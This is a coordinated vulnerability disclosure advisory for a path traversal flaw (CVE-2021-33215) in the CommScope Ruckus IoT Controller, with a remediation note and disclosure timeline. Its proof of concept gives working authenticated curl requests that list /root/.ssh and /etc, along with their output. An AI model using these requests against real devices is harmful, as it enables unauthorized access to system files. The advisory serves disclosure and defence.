KL-001-2021-005: CommScope Ruckus IoT Controller Web Application Directory Traversal

Title: CommScope Ruckus IoT Controller Web Application Directory Traversal
Advisory ID: KL-001-2021-005
Publication Date: 2021.05.26
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2021-005.txt


1. Vulnerability Details

     Affected Vendor: CommScope
     Affected Product: Ruckus IoT Controller
     Affected Version: 1.7.1.0 and earlier
     Platform: Linux
     CWE Classification: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'),
CWE-250: Execution with Unnecessary Privileges
     CVE ID: CVE-2021-33215


2. Vulnerability Description

     A Python script (web.py) for a Dockerized webservice contains
     a directory traversal vulnerability, which can be leveraged by
     an authenticated attacker to view the contents of directories
     on the IoT Controller.


3. Technical Description

     The CommScope Ruckus IoT Controller features a directory
     traversal vulnerability that allows an authenticated attacker
     to explore the IoT Controller's file system. The vulnerable
     Python script is /VRIOT/ops/docker/webservice/web.py.

     With the web application running as root, this allows for all
     directories to be explored.

     An authentication token is required. But a token is easily
     obtained due to hard-coded, default, unchangeable web application
     credentials (CVE-2021-33219).


4. Mitigation and Remediation Recommendation

     The vendor has released an updated firmware (1.8.0.0) which
     remediates the described vulnerability. Firmware and release
     notes are available at:

     https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf


5. Credit

     This vulnerability was discovered by Jim Becher (@jimbecher)
     of KoreLogic, Inc.


6. Disclosure Timeline

     2021.03.30 - KoreLogic submits vulnerability details to
                  CommScope.
     2021.03.30 - CommScope acknowledges receipt and the intention
                  to investigate.
     2021.04.06 - CommScope notifies KoreLogic that this issue,
                  along with several others reported by KoreLogic,
                  will require more than the standard 45 business
                  day remediation timeline.
     2021.04.06 - KoreLogic agrees to extend disclosure embargo if
                  necessary.
     2021.04.30 - CommScope informs KoreLogic that remediation for
                  this vulnerability will be available inside of the
                  standard 45 business day timeline. Requests
                  KoreLogic acquire CVE number for this
                  vulnerability.
     2021.05.14 - 30 business days have elapsed since the
                  vulnerability was reported to CommScope.
     2021.05.17 - CommScope notifies KoreLogic that the patched
                  version of the firmware will be available the week
                  of 2021.05.24.
     2021.05.19 - KoreLogic requests CVE from MITRE.
     2021.05.19 - MITRE issues CVE-2021-33215.
     2021.05.25 - CommScope releases firmware 1.8.0.0 and associated
                  advisory.
     2021.05.26 - KoreLogic public disclosure.


7. Proof of Concept

     $ curl -k -H "Authorization: Token [valid token]"
'https://192.168.2.220/service/v1/node-red/static?path=/../../../../../../../../root/.ssh/'

     {u'base_path': u'/VRIOT/node-red/static/../../../../../../../../root/.ssh/',
      u'message': u'List',
      u'response': [{u'is_dir': False,
                     u'is_file': True,
                     u'is_symlink': False,
                     u'name': u'known_hosts',
                     u'path': u'/VRIOT/node-red/static/../../../../../../../../root/.ssh/known_hosts',
                     u'showpath': u'https://192.168.2.220/node-static/../../../../../../../../root/.ssh/known_hosts',
                     u'st_atime': 1582707570.3173862,
                     u'st_ctime': 1582707550.1438398,
                     u'st_dev': 2049,
                     u'st_gid': 0,
                     u'st_ino': 132199,
                     u'st_mode': 33188,
                     u'st_mtime': 1582707550.1438398,
                     u'st_nlink': 1,
                     u'st_size': 963,
                     u'st_uid': 0}],
      u'static_path': u'/VRIOT/node-red/static'}

     The above output is a pretty-printed version of the JSON response returned.

     $ curl -k -H "Authorization: Token [valid token]"
'https://192.168.2.220/service/v1/node-red/static?path=/../../../../../../../../etc/'
     {u'base_path': u'/VRIOT/node-red/static/../../../../../../../../etc/',
      u'message': u'List',
      u'response': [{u'is_dir': True,
                     u'is_file': False,
                     u'is_symlink': False,
                     u'name': u'python3',
                     u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/python3',
                     u'showpath': u'/../../../../../../../../etc/python3',
                     u'st_atime': 1610463245.7594006,
                     u'st_ctime': 1493664067.5699568,
                     u'st_dev': 2049,
                     u'st_gid': 0,
                     u'st_ino': 262743,
                     u'st_mode': 16877,
                     u'st_mtime': 1493664067.5699568,
                     u'st_nlink': 2,
                     u'st_size': 4096,
                     u'st_uid': 0},
                    {u'is_dir': True,
                     u'is_file': False,
                     u'is_symlink': False,
                     u'name': u'ldap',
                     u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/ldap',
                     u'showpath': u'/../../../../../../../../etc/ldap',
                     u'st_atime': 1610463245.7594006,
                     u'st_ctime': 1527803641.495955,
                     u'st_dev': 2049,
                     u'st_gid': 0,
                     u'st_ino': 304157,
                     u'st_mode': 16877,
                     u'st_mtime': 1527803641.495955,
                     u'st_nlink': 2,
                     u'st_size': 4096,
                     u'st_uid': 0},
                    {u'is_dir': False,
                     u'is_file': True,
                     u'is_symlink': False,
                     u'name': u'rsyslog.conf',
                     u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/rsyslog.conf',
                     u'showpath': u'https://192.168.2.220/node-static/../../../../../../../../etc/rsyslog.conf',
                     u'st_atime': 1609718505.600734,
                     u'st_ctime': 1493664067.573957,
                     u'st_dev': 2049,
                     u'st_gid': 0,
                     u'st_ino': 262833,
                     u'st_mode': 33188,
                     u'st_mtime': 1453934568.0,
                     u'st_nlink': 1,
                     u'st_size': 1371,
                     u'st_uid': 0},
                    {u'is_dir': True,
                     u'is_file': False,
                     u'is_symlink': False,
                     u'name': u'pacemaker',
                     u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/pacemaker',
                     u'showpath': u'/../../../../../../../../etc/pacemaker',
                     u'st_atime': 1610463245.7674005,
                     u'st_ctime': 1550175549.2084513,
                     u'st_dev': 2049,
                     u'st_gid': 0,
                     u'st_ino': 267639,
                     u'st_mode': 16877,
                     u'st_mtime': 1550175549.2084513,
                     u'st_nlink': 2,
                     u'st_size': 4096,
                     u'st_uid': 0},
     ...
     ...

     The above output is a pretty-printed version of the JSON response returned.



The contents of this advisory are copyright(c) 2021
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
https://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt